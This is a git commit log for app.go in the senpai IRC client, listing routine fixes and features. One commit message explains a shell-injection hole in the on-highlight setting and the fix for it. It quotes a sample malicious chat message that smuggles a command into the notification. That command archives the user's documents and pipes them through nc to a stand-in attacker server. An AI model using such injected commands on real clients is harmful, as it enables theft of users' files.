summaryrefslogtreecommitdiff
path: root/app.go (follow)
Commit message (Collapse)AuthorAgeFilesLines
...
* Don't merge message bounds from multiple networksHubert Hirtz2021-11-071-9/+14
| | | | Otherwise it breaks infinite scrolling.
* Revert "Show the current channel topic at the top of the timeline"Hubert Hirtz2021-11-051-2/+0
| | | | | This reverts commit 96340f8c4d91f59f6e39767891f9bb52d7fad329 because of a bug in timeline rendering.
* Show the current channel topic at the top of the timelinedelthas2021-11-041-0/+2
|
* Remove IRC formatting before printing the topicHubert Hirtz2021-11-031-1/+3
| | | | | I prefer this over printing the IRC formatted string, since the topic should be printed in gray.
* Don't show notifications when receiving a message from selfdelthas2021-10-311-12/+12
|
* Print the topic after the first batch of historyHubert Hirtz2021-10-311-1/+1
| | | | | The topic is the first line we put in a buffer, so we have to place the first batch of history *before* the topic, instead of after.
* Fix requesting CHATHISTORY of empty channelsdelthas2021-10-311-1/+8
| | | | | | | | | | | | | | Channels which have never received any message return no messages on the initial chathistory, thus returning an empty bound with first == last == time.Time{}. However this empty bound was stored in the channel bounds, and was used as starting point for fetching history if Page Up was pressed. This in turn caused senpai to send a CHATHISTORY BEFORE 01-01-0001 message, which is invalid. This fixes the issue by not storing an empty bound if the CHATHISTORY request does not return any message.
* Make vertical channel list scrollabledelthas2021-10-311-5/+7
| | | | Seems like I really have too many channels... :)
* Scroll up/down highlight by highlightHubert Hirtz2021-10-261-2/+11
|
* Support for soju.im/bouncer-networksHubert Hirtz2021-10-241-118/+158
| | | | | | | | | | | | | | | This patch also disable the highlight on reconnect. This might be an issue (the user would want to know when senpai is online again?), but with multiple connections, it's bothersome to have to unread all of them on start (it wasn't a problem with only one connection since it was read instantly). Now, lastbuffer.txt also contains the network ID, otherwise the user might end up on another buffer with the same name. This patch does not extend /r to support multiple networks (it will send the message to the latest query, whatever the current displayed network is).
* Simplify string building logic in app.goHubert Hirtz2021-10-231-32/+19
|
* Add support for the INVITE messageHubert Hirtz2021-10-231-0/+24
|
* Don't expect the server to send correct IRC messagesHubert Hirtz2021-10-231-1/+9
| | | | Instead of panicking, print an error in the home buffer
* Only show buffer numbers when necessaryHubert Hirtz2021-10-191-3/+11
| | | | | | Saves space also removed non-edition related method IsCommand out of editor.go
* Don't forget to close outgoing chan on debugHubert Hirtz2021-10-181-0/+1
|
* Simplify channel loopHubert Hirtz2021-10-181-5/+1
|
* Restore last buffer on startDuc Nguyen2021-09-281-1/+13
| | | | | | | | | | review emersion review taiite review taiite Use os.WriteFile instead of os.Create
* Fix history not being loaded on channel re-JOINHubert Hirtz2021-09-131-1/+2
|
* Remove IRC formatting when printing the topicHubert Hirtz2021-09-131-1/+2
|
* Show mode changesHubert Hirtz2021-09-131-0/+12
|
* Fix typing indicators not being removedHubert Hirtz2021-09-131-0/+12
|
* Random code improvements/tidyingHubert Hirtz2021-09-111-9/+9
|
* Use messageBounds for infinite scroll CHATHISTORY requestsHubert Hirtz2021-09-031-5/+7
|
* Fetch missed messages on reconnectHubert Hirtz2021-09-011-10/+78
| | | | just one step closer to proper CHATHISTORY support!! :=D ^v^
* Introduce backsearch message support with ctrl+Rdelthas2021-08-071-0/+2
| | | | Fixes: #47
* Enable scrolling through the vertical member list with the mouse wheeldelthas2021-08-061-0/+6
|
* Fix crash on disconnectdelthas2021-07-151-0/+6
| | | | | | | The crash was due to accessing app.s.Nick() when app.s was nil. This is a good opportunity to print a special prompt when disconnected: I chose `<offline>`, in red.
* ui: Introduce a vertical member list on channelsdelthas2021-07-141-3/+8
| | | | | | | | Also, fix the UI timeline clearing too much, as well as the status line. Also, remove the width in the editor and buffer list constructors. We were initializing them with wrong values, only to overwrite these values with correct ones later in Resize().
* Print the channel topic on joindelthas2021-07-141-0/+20
| | | | Fixes: #45
* Add notify types for fine-grained control of unread/highlight statedelthas2021-07-141-8/+14
| | | | | | | | Namely, we want the unread light to show up only on actual messages, not commands etc. This opens the way for not showing an unread light when printing topic on join.
* Automatically join channels on startdelthas2021-07-131-0/+5
| | | | | Supporting channels with keys and merging JOINs in a single message is TODO for later. :)
* Don't send typing=done when input is already emptyHubert Hirtz2021-07-131-2/+3
|
* Always update promptHubert Hirtz2021-07-131-10/+1
|
* Switch to the buffer of a new user-requested channel joindelthas2021-07-131-1/+4
|
* Clear the input on CTRL+C instead of quittingdelthas2021-07-131-1/+2
| | | | | | | | We have /QUIT for quitting. Most well-known IRC clients don't quit on CTRL+C but they do on QUIT. Clearing the editor input on CTRL+C is useful for shell-like behaviour "abort current line, let me start my line again".
* Fix backspace support on some terminalsdelthas2021-07-121-1/+1
| | | | Namely the emulated Jetbrains Golang debugging PTY. :)
* Add colors.prompt option to set prompt colorAlexey Yerin2021-05-281-2/+10
|
* Pick nick colors in terminal color schemeHubert Hirtz2021-05-261-69/+105
| | | | So that the colors go well with the terminal background.
* Do not go into infinite loops on TLS mismatchHubert Hirtz2021-05-261-0/+6
| | | | | | | | - do the TLS eagerly instead of waiting for the first write, so that an error message can be printed, - sleep for 10 seconds before reconnecting, otherwise when connecting without TLS to a TLS server, the connection will always succeed while the first writes will not.
* Remove parenthesis around noticesHubert Hirtz2021-05-211-2/+2
| | | | Reason: interaction with services don't render well with parenthesis
* Fix races conditionsHubert Hirtz2021-05-201-190/+241
| | | | | | | | | | | | | | | | | | | | Refactor: - Split out reads/writes from irc.Session to irc.ChanInOut, - Message handling is now manual, messages must be passed to irc.Session.HandleMessage for its state to change, - Remove data-race-prone App.addLineNow (called from both the main eventLoop and irc loops) and add App.addStatusLine (to be called from the main event loop) and App.queueStatusLine (to be called from other goroutines). These two functions now write to both the current buffer and the home buffer, - add a irc.Typings.List function that locks the list of typings before accessing it. Changes as I went through the whole code... - CAP handling is fixed (especially CAP DEL and CAP ACK), - irc.Session now handles PREFIX, - unhandled messages are now shown, except for some rare cases where it's completely useless to show them.
* Add port if missing (v2) and don't set keepalivesHubert Hirtz2021-05-171-22/+9
|
* Don't look for nor execute sh when on-highlight is emptyHubert Hirtz2021-05-011-0/+3
|
* Use environment variables for on-highlightAlexey Yerin2021-05-011-8/+9
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Breaking change! The old approach of format modifiers is not ideal and usually has problems with shell quoting, that way anyone is able to get a remote shell just by sending a malicious message like: <evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; " Given that my on-highlight is: notify-send "%b" "<%n> %m" This would be transformed into: notify-send "#cmpwn" "<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; "" And this way it becomes a huge security vulnerability. When using environment variables combined with double quotes, shell escapes everything that appears there and gives the raw result to command executed. Though, this requires a little update to users' on-highlight setting: %b -> $BUFFER %n -> $SENDER %m -> $MESSAGE %h -> $HERE
* Make mouse support optionalAlexey Yerin2021-04-281-0/+6
| | | | | | To not break existing users, mouse is enabled by default but you have an option to disable it with "mouse: false" in your /.confg/senpai/senpai.yaml.
* editor: Ctrl+{Right,Left} moves cursor by wordsAlexey Yerin2021-04-271-0/+4
| | | | | A very useful readline feature when combined with ^W can be a really quick way to reformat a sentence, which is what I do on IRC quite often.
* Add option to disable sending typing notificationsHubert Hirtz2021-04-271-1/+1
|
* editor: add ^W delete word bindingAlexey Yerin2021-04-261-0/+6
| | | | | | | | | | It allows to delete the current word (any string of characters until a space). Also, all spaces at the start are cleared to allow doing something like: Hello world| Hello | <- the cursor is at a space | <- nothing left
* Fix segmentation fault when the server is downHubert Hirtz2021-03-051-8/+13
|
* Support cycling backward in auto-completionsHubert Hirtz2021-03-041-1/+6
|